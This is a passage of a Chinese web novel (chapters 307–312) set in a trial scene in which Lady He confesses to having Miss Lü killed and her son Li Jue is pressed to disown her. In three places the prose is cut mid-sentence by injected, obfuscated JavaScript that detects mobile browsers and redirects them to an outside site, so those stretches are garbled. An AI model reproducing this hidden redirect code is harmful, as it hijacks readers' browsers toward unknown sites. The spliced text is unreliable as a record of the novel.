她到底没有敢把李玦逼得太紧,她就是防着万一没能给何夫人定罪,她也要足够的回旋余地, “不过,这都是我的猜想。张大人,这是元京府衙,不是女人的内宅,凡事还是要靠证据的,您说是吧?” 张礼岁在心里冷笑,他手里的确有证据,也不完全是华靖离和夏明嫣带来的,他自己也查到了一些,之所以没一上来就都拿出来,也是想看看这家认究竟是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696517|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人是鬼。 而且事情走到这一步了,只要为吕家主持公道,那就相当于站在华家这一边了,那就不如干脆站得更彻底一点,多帮一帮他们。 他已经看出来了,华靖离就是要通过这件事跟李玦和端侯府撕破脸,他们元京府就是一个戏台子,让所有人看到这场戏的戏台子。 既然如此,他就把这场戏做得更详尽些、更好传扬一些,全当给华靖离一个人情了。 张礼岁看向李玦,问了两件事:“李世子,吕大姑娘出事的那几日,你可见过你的母亲?刚才你的夫人说她进门之后,你的母亲曾对她说过这样的话。” “那么之前呢?她可有异样?那时候如果本官没有算错的话,你们府上应该已经在准备你们的亲事了吧。” 那时候还没有换亲,甚至还没有最后写下婚书,可是总共就差了一个多月,府里怎么的都该准备起来了。 李玦这婚事拖到他二十多岁才办,他已经不是那些十五六成亲的半大孩子了,筹备的事他能一点都不管?管的话,何夫人能不跟他见面商量? 刚才由着他们狡辩了这么多,张礼岁也是想看看这家人在做戏这种事上道行究竟如何。如今看来,不过尔尔,要是说谎一点不露,那是不大可能的。 李玦被张礼岁盯着,心里紧张得很,只面上强作镇定地道:“筹备婚事的时候琐事甚多,家母很是忙碌,与我相见时不过是说些筹备上的事,并无其他。” 张礼岁不置可否,又看向吕冠瑛和那孩子:“这孩子你是打算认下了吧?恢复良籍之后,你是否打算带回府中抚养?打算如何抚养以告慰他的生母?” 李玦没想到张礼岁的话锋转得这样快,但还是尽可能谦卑地回答道: “这是我李家的子孙,既然认下了,就没有放在外面荒废了的道理,自然会带回府中好生教导。日后定然他读书识字、考取功名。” 第307章休了她! 旁边的吕冠瑛先不干了:“大人,民女只希望外甥恢复良籍,之后自可以由吕家抚养长大。民女愿立下字据,只要他恢复了良籍,此后便能保证与世子和端侯府再无关系!” 原本吕冠瑛对这些侯门公府里的事儿就略有耳闻,这几日乔依心陪着她抓人,也跟她说了不少。 那些话不是吓唬她的,举的例子都是有名有姓的,让她也知道了这样一个出身不受待见还给家里惹过麻烦的孩子会被如何对待。 孩子将来过得好不好,说到底还要看家里的长辈上不上心,要是长辈这儿先就恶了这孩子,将来什么好亲事、好前程,大多也是轮不到他的。 夏明月心里那叫一个想答应,她巴不得以后都见不到这孩子,可她面上还是假装大度地道: “呦,这可是奇了怪了,侯府的锦衣玉食不要,偏要在外头当一个小商贾之子,没这样的道理。这位吕姑娘,你还没有成亲,父母又已亡故,一个人抚养这孩子恐怕也不方便。” “你要是觉着如今我们端侯府败落了,怕我们养不起这孩子倒也不必,我是这孩子的嫡母,就算我从嫁妆里抠银子出来,也是养得好的。这么点儿的孩子能吃多少、用多少?保准亏待不了他。” “还是说,你不想把孩子交给我们养育,实际上是另有疑虑,是担心他祖母对他不好么?也是,把这么小的孩子养在女观里,也不怕自小就移了性情。” 这时候养孩子至少在小时候还是讲究一个热热闹闹、花团锦簇的,不会在孩子小的时候就把他往寺里、观里带。 就好比之前某一个王府里孙儿就是小时候为了养病在寺里住了五年的,后来这孩子大了,性子就特别清静,最终在不到二十岁的时候闹着出家了。 有了这样的前车之鉴,大家就更不敢让这么小的孩子住在那种地方了,何夫人这般安置那孩子明显没安好心。 夏明月自己不能明着说何夫人的不是,现在就想挑唆着吕冠瑛说,最好两个人能打起来。 这吕冠瑛一看就是市井里走惯了的商女,一看就比何夫人有力气、手脚灵活,要是打起来定能把何夫人抓个披头散发、满脸花! 吕冠瑛忍着气,安抚着瑟缩着抱着她腿的小外甥:“夫人,这孩子从出生就没经过富贵,他没那个命。如果家姐一直健在,或是这孩子之前未被藏匿的话,民女断然不会走到报官这一步。” “甚至……说句不顾王法的话,要是民女之前就知道孩子的生父是你的夫君,拼着冒认其他良籍男子为父的风险,民女就是使了银子买通一个,也不会求到你们头上。” “你们就放了这孩子吧,别让他去想他不该享的福,也别让他遭不该遭的罪。” 夏明月不喜这孩子,却也不想被人当面指摘她会对这孩子不好,当即便有些怒了: “你这是想说我会对他不好?我可没那闲心,还是说你担心的是别人?直接说就好了,何必绕弯子。” “长姐,这人是你带来的吧?你也劝劝她,别管我们这些人如何,他们吕家该懂得什么是见好就收,我们能认下这孩子,让他们家也出一个侯门公子,难道不好么?” 一直站在一边看戏的夏明嫣这时候终于给夏明月加了把火儿:“二妹妹这话可就说差了,你自己都不放心了,还能指望一个小门小户出来的女子放心?” “这件事巧合太多,我还听说就在昨日,还有人坐不住了派了人去吕家灭口,别提有多可怕了。这要是放在二妹妹你身上,你就愿意把自己一手养大的孩子送进有这种嫌疑的地方了?” 夏明月听了,头一次觉得她这个长姐还是帮着她的,这些话可不就是冲着何夫人去的吗? 昨日楚氏已经派人到吕家周围打听了,已经知道了有人去吕家行刺还被抓了个正着的事儿,可她又不能说自己就知道了。 因为她昨夜也观察了,何夫人是不知道的,正因为没有得到派去吕家的人的回音,何夫人可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696518|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是等了大半宿的。 夏明月咂了咂嘴道:“说的也是,不知道是谁这么狠心。张大人,您要是还怀疑我婆母,要不就把她身边的人带来拷问吧。” “那些个下人平日里看着嚣张跋扈,实际上都是软脚虾,真要有什么,相信他们是不敢作伪的。” 何夫人气得头上发晕,捂着头就让李玦扶住她:“阿玦,你看看你娶的好媳妇,这是出了家贼了。回去以后你就休了她,母亲再给你说更好的亲事,或是把雨萍扶正。” “夏家这门亲,咱们要不起。你听听她都在说些什么,这些没有的事儿,都敢往我身上扯,也不知道夏家怎么就教养出了这个恶毒、愚蠢的胚子。” 李玦也气得不行,之前对夏明月一点一滴积累下来的不满都爆发了出来: “明月,你知不知道你在说什么?母亲怎么可能做出那样的事?没错,她的确隐瞒了她私自扣下了孩子,没有告知孩子的生母,可那也是为了孩子好。” “她这般重视子嗣,既然已经决定了把这孩子认回来,又何苦害了他的生母落下埋怨。况且安置他的生母也不是没有别的法子,整个元京都没有人知道这件事,何苦反而把事情闹到如今这不田地,弄得人尽皆知?” “别人怀疑也就罢了,你进门之后母亲待你不薄,连请安定省都能免则免了,你怎么能说出这样的话?” 平日里待她面上体面些,给她些小恩小惠,就想收买她了?笑话。 夏明月虽然极其看不上吕大姑娘这样的女人,可她也不想何夫人哪天像对付吕大姑娘那样把她给灭了口了,这一点上她是要站在华家和吕家这边的。 夏明月难得没听李玦的劝:“夫君这话就不对了,只要婆母没有做过,越有嫌疑越要说清楚,不然不说府里闹得人心惶惶的,就是外头也会说闲话。” “夫君袭爵在即,府上有这样的嫌疑,更该说清楚。这件事已经闹大了,你还指望宫里不知道吗?” 第308章保全自己 李玦从小偷偷摸摸、侥幸惯了,现在遇上这样的事,他又想侥幸混过去。 反而是夏明月最近因为关心袭爵的事儿,时常派人去楚家那边打探消息,她舅父已经说了,说圣上在这件事儿很是犹豫,还想再看看李玦在擢选上的表现。 这就是说宫里一直都在观察着端侯府的动向的,这么大一件事儿宫里能听不到风声?怎么可能呢。 夏明月反过来压低了声音劝李玦:“夫君,这件事你可得想清楚了,就算婆母在这事儿上……你也得想法子让人觉得没有问题才行。” “万一影响了袭爵,我父亲、外祖父和舅父想再递一次话上去,可就没那么容易了。就算查不出真相,最终婆母身上还有嫌疑,也是要看你的态度的。” 这世上有许多事儿眼前都不会有结果,可是有嫌疑之人的态度很重要,要是不怕查甚至拿出了大义灭亲、不惜以死证明自己的清白的态度来,总是能表达出自己是愿意配合的,也是因为自身清白而不怕查的。 夏明月心里清楚那就是何夫人干的,要是何夫人做的干净,他们就该拿出态度来,让府衙好好地查一查。 该藏的都藏起来了,还能查什么?不过是查一查府上的下人,能查的都查了,最终只要没查出什么来,他们就是清白的。 这就像是受尽了酷刑还不吐口的,除了死士,剩下的便是意志坚定且真正清白的人是一个道理。 但要是何夫人没把尾巴扫干净,关键的证据其实已经落到人家手里了,李玦就该想想这时候是保他这个已经没了用还是累赘的母亲,还是保他自己的爵位和前程了。 夏明月这回学聪明了,她让李玦自己选择、自己动手, “夫君,姐夫和长姐虽然没说什么,可是他们会做没有把握的事儿么?如果只是为了救华靖和出去,他们何必留到现在?” “你一直说你跟姐夫的关系如何如何的好,可要不是他娶了我长姐之后抹不开面子,才答应让你跟华靖和一起去北疆历练,你还不知道要等多久呢。” “你们的关系不过尔尔,或者一开始是真的,后面你们分开多年,也早就变了。华靖和的事已经解释清楚了,他却还坚持把咱们一家子传到这儿来,我长姐都没拦住他。” “他会只是想叫怎么来问问吗?没有证据,他怎会在这儿陪咱们这么久……夫君万一婆母陷进去了,袭爵的事大概只能算了,以后还有没有机会,就到时候再看吧。” 从前没有让他袭爵,是因为老端侯,这一次又是因为他的母亲何夫人,那么下一次再向圣上提起,圣上心里能不犯嘀咕么? 不用等以后,李玦现在心里就开始犯嘀咕了,明明他自己什么都没有做错,却每次都要受到别人的影响。尽管那是他的亲生父母,他心里怎么会一点怨恨都没有。 他这时就在怨何夫人拖累他,明明只是一个外头的女人和孩子,就算不相认,把这两母子送远些找个宅子养着就是了,只要这孩子将来过得还可以,难道还担心吕大姑娘和吕家人不依吗?偏偏把事情弄成这样。 李玦也愿夏明月对他的母亲态度如此冷漠,可是仔细一想也怪不着她,证据要是都被人拿住了,她又能怎样?何况吕大姑娘死的时候,夏明月还没进门呢,更是不知情的。 就算夏明月能帮忙而不帮,他眼下也得先想该如何解决这件事,而不是抱怨。 李玦看了看何夫人,眼中露出不忍,可他心里还存着侥幸,想着何夫人应该不会傻到用府里人吧,那些个首尾应该已经扫干净了才对: “母亲,您没有做过,就不怕查。我看不如请张大人派人到府上搜一搜,看看能不能找到线索,也能让吕家安心,让这孩子以后心里没有疑虑。” “至于这孩子如何安置,要是明月不介意,就由她这个嫡母来安排吧,您就不必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696519|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 插手了。” 说完,他又对着华靖离和夏明嫣道,“这样处置可能让兄长尽释疑心?近来有传言说我要袭爵,又因为御青书院擢选一事让我招了人的眼,外面难免有些流言蜚语,也难免有人从中挑唆。” “还请义兄相信,这当中即便有什么,也绝非我本心所为,更加不是受我指使。我这就请张大人倒我府上拘查,要是这挑拨之人在我府上,这人我便交由义兄和张大人处置。” “还有嫂嫂,我李玦绝没有欺辱、欺瞒明月的心思,实在是昨夜听到那些流言之前,我是真不知这世上还有此事。自然,这是我从前私德不修所致,可我绝无慢待夏家和明月的心思。” “要是我有那样的心思,就让天打五雷轰、不得好死。我对这孩子如此安排,也是想请嫂嫂做个见证,将来好对岳父、岳母说起。” 李玦完全绕开了吕家,完全不过吕冠瑛的反对,不过现在最要紧的还是吕大姑娘的人命官司。 张礼岁立刻便让人去搜了端侯府,不过去搜的只是旁证罢了,真正顶用的证据他刚刚已经拿到了: “何夫人,您看看外面这人是谁?可是您派去谋害吕大姑娘的凶犯?没错,吕大姑娘出事前的那半日的确有人引她去了一处院子,就是她被蛇虫咬伤的那个院子。” “是有人骗了她,说是要给她安排住处,让她做个外室,还会把她的孩子认回府中,说那院子便是给她买的,她这才去看了那院子。” “可是同时,就再那人带她去看院子的时候,也在不停地暗示她,有她这样的生母在一天,这孩子便不能算是真正的有了名分。甚至只要她还活着,孩子的养母就不可能真正待她好。” “这人甚至还给她讲了几个生母自尽保全孩子的旧事,从而暗示她现在既然端侯府已经知道孩子的存在了,孩子被接回去已成必然,那么她这个生母就没有再存在下去的意义了。” 第309章指证了些狗屁倒灶的事 像吕大姑娘这样出身的人,想被收房为妾那是不可能的,可吕家毕竟只是一个小商户人家,要说养活这两个人自是不成问题的,可要说供这孩子读书,还得供出个好前程来,那是难上加难的。 对于商贾人家,想要子弟入仕或是从事跟读书人相关的行业,要么得人引荐、花钱捐官,要么就只能通过科考入仕,或是取得功名之后才能有机会去书院任职。 引荐、捐官,吕家这样的小商贾连人家的面都未必能见到,更别提后面的运作了。 要说科考,吕家能供得起他读书,可不过是能请一些屡试不第的秀才做私塾先生,或是将他送去那种末流的书院读书,这样的条件是很难让他触碰到足以改变他命运的功名的。 现在去参加科考,虽说学子的名字、籍贯是封住的,可是考官还是会从这人的文风、字迹上判断对方师承哪派,要是你的师承不入流,否则除非你有惊天动地的大才,否则即便考中了,也是是考不到前头去的。 这科举年年考,即使中间有隔年和间断的时候,历年下来也累计了许多未来得及轮候授官的人,像他们这样的人家要是不考到前头去,单靠去吏部等轮候,恐怕等到老死了都轮不到他们。 真要是为了孩子考虑,找到生父,脱贱入良只是最起码的要求,要是能认回府里去,那才能真正地给这孩子一个将来。 这时候已经没有人知道吕大姑娘那时究竟想过什么了,可是从结果来看,猜也能猜到大半。 她是一个好不容易才从那种地方出来的人,靠着家里为她遮风挡雨,可是家里也不是什么大富大贵的人家,能养活他们母子已经很不容易了,再想给孩子一个好前程,那是强人所难,也不可能。 而她要是想让这孩子被端侯府认下,让孩子将来的嫡母和作为他养母的妾室放心,她的确没必要活着了。 她活着只能成为这孩子的污点,而吕家有了一个沦落过的女儿还能说是当年被人所害,可明明已经认回来了,还甘心为人外室,也会让吕家没脸抬头做人。 父母已经不在人世了,这些年父母为了保护他们母子,已经跟亲戚们断了亲,还有她的妹妹吕冠瑛全心全意地对他们母子好,自己的婚事耽误到了现在,都年近二十了还是没有半点着落。 吕大姑娘当时就存了死志,这才在发现自己被蛇虫咬伤之后没有就医,而是直接回到家中悬梁自尽。 可是这背后鼓动之人偏偏还担心吕大姑娘悬梁之后还会被人救下,还派了人去尾随,用那沾了蛇毒的牛毛针暗器又给她补了一记…… 张礼岁冷笑:“此人就是你派去的杀手,也是奇了,没想到久居深宅孀居多年的何夫人竟然认得此等狠辣角色。好在端侯府的荣光已不复当年,您现在也就能调动这对儿兄弟了。” “您让此人杀死吕大姑娘之后,又担心此人会将消息泄露,让他立刻返回南疆,后来大概又不放心,担心他把事情说出来,又派了人去劫杀他。” “可惜您再派去的人无能,未能成事儿,此人在借住在农户家中养伤时被我们元京府拿住。而您也不知是怎么想的,您要对着兄长卸磨杀驴,却又派了这弟弟去杀吕二姑娘。” “这弟弟已经猜到了自己的兄长凶多吉少,哪里还肯用命,动手时不尽心,也于昨夜被我们所擒。” “何夫人,您是想着吕家一介商贾,本官不会重视,更不会派人看守、保护吧?本官早就料到这背后之人会有所动作,一直都在守株待兔,果然皇天不负苦心人,终于被本官逮住了!” 这哪里是张礼岁派人逮住的,这些都出自华靖离和夏明嫣的安排,不过后者用来保护吕家的人手是乔家的护卫,乔大人如今是城守营的人,这也勉强能算是元京府的人了。 而前者,其实那前去“谋害”的人也不是何夫人派去的,吕大姑娘死的时候根本就没引起多大反响,这头一个人早跑出城去了,回到南疆那就好比鱼入大海,哪里就需要再派人去灭口了。 这谋害分明就是夏明嫣安排的,连杀手和护卫都没用,直接找了蛊医里的毒宗给对方下了毒。 那两人先后都被押了上来,将堵嘴布去了,这人就开始对着何夫人叫骂起来,说是什么家里三代都效忠李家,不想竟然被何夫人这样毒妇摆布。 “大人明鉴,小人本是不依的,我们的父辈原就是老端侯的人,都是帮着朝廷捍卫南疆百姓的英雄好汉,哪里就能去做这偷鸡摸狗的事,还是去对付一个手无缚鸡之力的女子。” “要不是老侯夫人说此事事关端侯府子嗣传承的百年大计,这也是大事儿,小人才不会答应她。” “就是,要不是她说小侯爷就快袭爵了,不能留下这样的污点,我们兄弟才不会出手。大人,您可得多问问她究竟是怎么回事。” “小人兄弟二人初时确实被她所骗,以为她真是在为小侯爷考虑,可小人的兄长没了音讯之后,小人便找了府里的人打听过。小人觉着,老侯夫人根本就是嫉妒那女子跟小侯爷亲近。” “这老妇不仅嫉妒这个姓吕的女子,她连她儿媳妇都嫉妒,简直就是不盼着小侯爷和少夫人好啊,就是她自己那做了侧室的侄女也不得跟小侯爷亲近……” 这两人都是端侯府故旧的后人,但其自身并非死士,要是他们是死士,以老端侯行事的缜密程度,那些人也轮不到何夫人去掌控。 那些人都是等着李玦能够独当一面之后,再由南边暗中负责统领之人交给李玦的。 何夫人自以为动用的人手万无一失,其实这不过是她的妇人之见罢了,这些有些本事,可是对她绝对谈不上有多忠心,在怀疑自己险些被她灭口之后,哪里还会回护她。 第310章逼他划清界限 况且何夫人自己也不干净,她一力将李玦养大,却不知道李玦成家立室之后她就当放手的道理,别说对夏明月了,就是对何雨萍,要不是何雨萍忙着何家的事儿,跟李玦的关系并不算亲密,她会连自己这个亲侄女一块儿记恨的。 何夫人被这二人的话逼得都不知该如何辩解了,她的确看不上夏明月,连何雨萍她都不是很满意,可她最多就是想管束李玦罢了。 被这两个人说的,好像她对自己的亲生儿子有什么见不得人的心思似的: “不是这样的,我没有那样想那个女人,她是污点,她脏,她贱,她会玷污了我儿子的声誉和端侯府的名节。官宦之家、世家高门不都是这样的吗?难道你们的家族就没做过这样的事吗?” “那些有污点的女人,怎么可能还光明正大地活在人前?没错,他们都是受我指使去的吕家,人也我指使他们杀的,可是你们两个都在说什么?我可没有派人去灭你们的口,你们被人耍了还不知道。” 她甚至冲过去拉扯夏明嫣和夏明月,“这样的事,难道你们夏家没有么?华侯夫人,夏家大姑娘,你的生母杨氏出身蛊医世家,怎么就产后虚弱调养不善、两年的工夫就没了?” “你父亲没多久续弦了相府独女,你怎么知道他不是为了这桩婚事,害死了你的母亲?还有你,夏明月,我的好儿媳,楚夫人可是你的生母,你有没有想过就是他们家逼死你的先嫡母,才有了你和你阿弟?” “楚、夏两家为了联姻,不顾你们的父亲早有糟糠原配,却还要如此,就真的比我要高尚么?那个女人不过是个商贾之女,还是从那种地方出来的,比起你们的父亲除掉自己的原配,我做的不过尔尔!” 何夫人眼见着人证物证俱在,已经无法狡赖,情绪失控之下竟然连这样的话都说了出来。 夏明月这两世都查过母亲的死因,其实杨氏本身有弱症,是娘胎里带出来的,她的确不是夏庸害死的,但夏庸也并非一点责任没有。 何夫人说的不无道理,只是有一点不对,那时的夏庸虽然成了楚霆孝的门生,可是陆家还没有出事,楚氏那时是跟陆远山有婚约的,楚霆孝也乐见其成。 也就是说夏庸那时还扒不上楚氏的裙带呢,不过那时蛊医因为受到那件大案的牵连之后被迫退出了元京,不得不隐于暗中,夏庸已经觉得杨氏和杨家都没了利用价值,开始想象着如果没有了杨氏,他是不是也能攀上一门高亲。 因此,在杨氏生育之后身子每况愈下的时候,夏庸就选择了慢待和视而不见,诺大的尚书府,杨氏病弱独木难支,朱老太太那时又不在卢阳跟二房的人住着,渐渐地杨氏的身子就被彻底敖干了,就是那么没的。 夏庸虽然没有直接害死杨氏,但在这件事儿上何尝不是充当了何夫人扮演的角色。只是相比起来,何夫人尚有律法惩治,夏庸做的却搬不到这公堂之上。 夏明嫣一直没机会找夏庸算这笔账,这会儿她要是借着何夫人的话发作一通,倒是可以顺手把夏庸盯到耻辱柱上,可是这样实在有失今日的重点。 而且夏庸跟杨氏的事儿毕竟不是真正的谁杀了谁的关系,她这么做不仅不能将夏庸钉死,说不准还要落下个刻薄生父的坏名声。 收拾夏庸,以后还有的是机会。不过何夫人既然提起这件事了,她不介意将此事的价值发挥得淋漓尽致,相信杨氏在天有灵也不会怪她。 因为从长远来看,她这么做定当为将来让夏庸体会什么是众叛亲离添砖加瓦。 夏明嫣像是受了惊吓一样推开何夫人,转而往夏明月身后躲:“何夫人,我敬你是长辈,你却诋毁我的父亲。我母亲病重的时候,我如今的母亲还与别人有婚约呢。” “就是那个什么……陆家,陆家跟你们端侯府也是世交,难道何夫人连这件事都不记得了?你这样污蔑我的父亲和继母,是对我们夏家有多大的意见呢。” 夏明月这时候一脸的难堪和震惊,连李玦过来想要安抚她,她都把手从他手里抽出来躲开了。 杨氏是怎么死的这件事她从来就没有想过,她一直觉得杨氏就是身子不好病死的,因为楚氏出身相府,虽然与陆家解除过婚约,可是两家并没有成婚,这种情况下楚氏找什么样的高门公子嫁了都成,实在轮不到一个丧妻再娶的夏庸。 夏庸能娶到楚氏,的确是因为楚霆孝要扶夏庸坐稳兵部尚书的位子,但要说夏庸一开始就笃定了自己害死了杨氏就一定能娶到楚氏,那纯属是无稽之谈。 夏明月此刻发现夏明嫣也没那么讨厌,这种时候没有相信何夫人的挑唆,居然还帮着她和楚氏说好话,一点也没留意到夏明嫣话里的陆家。 夏明月头一次把夏明嫣挡在了身后,上去就推了何夫人一把:“您说那吕家的女子下贱,现在又来诬陷我的父母,您说夏家不好,不就是想说我这个做儿媳的跟那个女人比也好不到哪儿去吗?” “夫君,你好好看看,这就是你的母亲。张大人,您也听到了,她刚才已经承认了,是她害人性命在先。而且那吕家女子在世时并未进侯府,在外面我夫君也未曾安置她,家规是管不到她的。” “别说她丢了谁的脸了,她怎样都不是我婆母能管的。大人,您只管处置就是的,我夫君是品行高洁之人,绝不会为了这种母亲做出对抗朝廷律例之事!夫君,你说,是不是?” 虽说大恒律法有规定,不论是妾室、通房还是签了死契的下人,主家都不得随意打杀,可是但凡是这主家的人了,多少都有些含糊的地方,对有些事情如何定性是有商量的余地的。 夏明月这么说就彻底把李玦和端侯府摘了出去,就是说明了端侯府没有用家规处置吕大姑娘的权力。 不仅如此,她还立刻逼着李玦表态,要让他当场与自己的亲生母亲划清界限! 第311章拉踩站队 李玦面色灰白,他既想不到自己的母亲在人证物证齐全的情况下还去攻讦夏明月和夏家,甚至还试图把夏明嫣的火气挑起来,也没想到自己的妻子会当堂逼他舍弃自己的母亲。 他心里清楚,都到了这一步了,他必须大义灭亲,可这些话从夏明月这个最亲近的枕边人嘴里说出来是那么的残忍、那么的不真实, 可是他清楚,夏明月可以这样做,这一回是何夫人出言不逊在先,况且何夫人这回算是完了,华靖离显然没有想像的中的向着他,他眼下能够依靠的就只剩下夏明月和夏家了。 李玦又向着张礼岁郑重地行了一礼:“大人,家母犯下大错,我自然不敢袒护,还请您念在她上了年纪,做出这样的事也是出于一片拳拳爱子之心,予以轻判。” 他说完,又对着夏明月说,“母亲刚刚也是气急了,才会口不择言,你不要怪她。平日里她是敬重岳父、岳母的,你仔细想想,她何尝对夏家、楚家不敬过?” “她待你虽然严苛了些,可也是为了你好,她也是想早日将府中中馈交到你手里,纵使有不周到的地方,你也不应该怪她,她那是刀子嘴豆腐心,你怎能受了别人的挑唆?” 眼看着华靖离这边指望不上,李玦又动起了挑唆的心思,而且打算把祸水引到夏明嫣头上,说是她挑唆的。 夏明月向来跟夏明嫣不和,即便夏明嫣刚才开口帮了她,她也不会仅仅因为这一次的帮助就站在她这个长姐身边。 何夫人也冷静了一些,老泪纵横地看着夏明月,虽说她这些眼泪哭得都是她自己和李玦,可到底是哭了出来: “明月,我就是一时心急说错了话,你不要怪我。刚才那些话,你回去之后千万不要跟夏大人和夫人说,我真的是气糊涂了,才会胡思乱想。” “我对付吕家那女人,也是为了你啊,你怎么能站在别人那边呢?你将来的孩儿也是我的孙儿,你总不希望你的孩子将来没有祖母吧?” 何夫人转过身去,又对着华靖离和夏明嫣道,“你们不就是想让我认罪么?好,我认,这下子你们的二公子清白了,再也没有人会说是你们华家以势压人才让他能够走出这府衙了!” “你们如愿以偿了,可是华侯,据我所知,你跟你这个庶弟从小并不亲近,反倒是在你初到元京最为艰难的时候,都是我们阿玦跟在你身边的,你们还是义兄弟,你怎能如此不近人情?” “就让这件事到我为止吧,不要牵连到阿玦身上。我愿意接受律法的惩处,求你们夫妇不要因为我之前有所隐瞒迁怒到阿玦和明月身上。” 何夫人清楚自己的儿子是一个表面有着文人的诗情画意但骨子里绝对现实的人,李玦这样的品性,她曾经引以为傲。 她不求什么高风亮节、风光霁月,那不是他们这样的人家可以拥有的。他们这样的人配怎样活着,配怎样重新复兴家族,才配拥有什么样的品性。 因此她很快就从被儿子放弃的痛苦中醒悟了过来,她眼下只有保住了李玦,让他成为端侯,她才有活下去并且重新走到人前的可能! 她身上有二品诰命在,只是杀了一个贱妇,并不足以判她死罪,相反的,如果这当中运作得当,她之后也不会在元京府的大牢里度过余生。 她可能会被关进寺院,或是流放出元京,只要过了这个风头,李玦这边再打点一番,她这些年甚至还可以过得不错,只是不得自由罢了。 当务之急她要做的是不能再让华家继续落井下石、借题发挥,再有就是她不能失去夏家、楚家这两个盟友。 因为有着过去那件大事在背后牵绊着,夏家、楚家是不可能完全不管她的,可要是她把两家都得罪了,这两家至少都不好再明面上管她了,她少不得要吃更多的苦。 她吃苦受罪是小,外面的人看到她倒了,又会怎样对付李玦呢? 何夫人这时候只能想法子把夏明月拉回他们这一边,那又有什么比攻击夏明嫣更好的法子呢? 何夫人知道夏明月在心里有多不喜欢夏明嫣,只要让她彻底厌恶了夏明嫣,那就意味着夏家、楚家都只能站在他们这一边了。 华靖离肃着一张脸,对着何夫人微微颔首,算是对这个长辈致礼了: “夫人此言差矣,我们并非揪着此事不放,更不是刻意要为了谁出头,只是我这二弟实在冤枉。夫人刚才说我理应帮着义弟而不该帮着我这庶弟,您是在说我是一个帮亲不帮理的人了?” “您既然承认我是李玦的义兄,那我更应该以兄长之礼教导他。难道您让我教导他不顾事实、不顾王法,只为了偏袒他?” “夫人您一口一个端侯府的说着,可见也是一个重视家族责任的人。那就该明白,我与李玦再亲近,也越不过家族去。我若有对不起您和他的地方,我愿意向你们赔罪,可若说我不愿意牺牲我阿弟,这也是人之常情,相信您也能理解吧?” 别人被长辈哭着说几句,大致就会因为抹不开面子认了错了,或是不说话默认了对方的话了,华靖离却不打算再藏着掖着了。 上辈子他就是错失了前面的机会,导致后面想跟李玦割袍断义都找不到合适的机会了,这辈子他可绝对不会错失这样的机会。 “况且我这二弟向来荒唐,可大事儿上从未有过偏差,因此往日也没有人来告他如何的不好。吕大姑娘在三个月前就已经过世,为何到了现在才怀疑到他头上,还一下子就找来了所谓的人证物证?” “别欺负我们武勋人家不懂这些,还不是因为御青书院的擢选,我这不争气的二弟要给人做垫脚石了?这背后到底有你们端侯府多少手笔,你们自己清楚!” 这件事就是夏明月联合她那两个舅父做的,可那又如何,夏明月是李玦的妻子、端侯世子夫人,她做的就是端侯府做的。 第312章你这个赝品 何夫人差点儿说这些都是夏明月做的,跟她和李玦没有关系,可下一刻她也想到了这一点。 她刚刚还在试图把夏明月拉到他们这一边,他们也不能得罪夏、楚两家,她这时候再把事情推到夏明月偷上就不合适了。 何况夏明月是端侯府的世子夫人,是她的儿媳妇,做这一切又是为了李玦,做出这样的事还不是因为她没管好、没管住吗? “义兄,这件事真是误会。我如今功名只是举人,那些资质、才学比我好的人多的是,我是不可能被选上的。既然如此,我又何苦去做对华二弟不利的事?” “这种事我断然不敢做,也不会做,要是我身边的人为我着急做了什么,实在并非我本意,还望义兄和嫂嫂见谅。” “这次的事坏了华二弟的声誉,我愿意贴出文书为他澄清,端侯府家底虽然不厚,也愿意竭力补偿于他。” 事实和道理上比不过,那就用钱财补偿,华靖离夫妇可以不在乎这些铜臭之物,可他不相信华靖和这个小庶子真能不在乎。 本来应该等华靖离来决定,因为在场的谁都知道李玦要的是华靖离的态度而不是华靖和的。 可一向胆小的华靖和刚才心里的那股激荡之意还没下去,这会儿竟然上前两步,胆子很大地打量着李玦。 华靖和的样貌、仪态其实很好,若认真论起来,也就是比李玦差了那么一点点,这里面还有他从前并不重视这方面的因素在。 好些人曾经都说过华靖和跟李玦像,甚至有人说华靖和为了搏得兄长的注意而故意模仿李玦,说他是一个东施效颦的赝品。 华靖和这会儿却像是在打量一个赝品一样看着李玦:“人人都说你跟义兄多么的兄弟情深,要我说不过尔尔!别人不知道也就罢了,我华靖和从进学起最爱的就是跑出去在坊市里乱窜。” “你那点伎俩,你当我不知道?你跟我兄长那些事儿放眼元京里一起长大的这些人,哪个身上没有过?偏偏你们的能传扬这么久,你还不承认了,分明就是你请了说书的故意宣扬出去的!” “还有你新娶的这个妻子,真是不是一家人不进一家门啊,我长嫂抹不开面子不好说,我可以说,你们不就是用同样的方法对付我,然后再把冒头引到兄长身上么?” 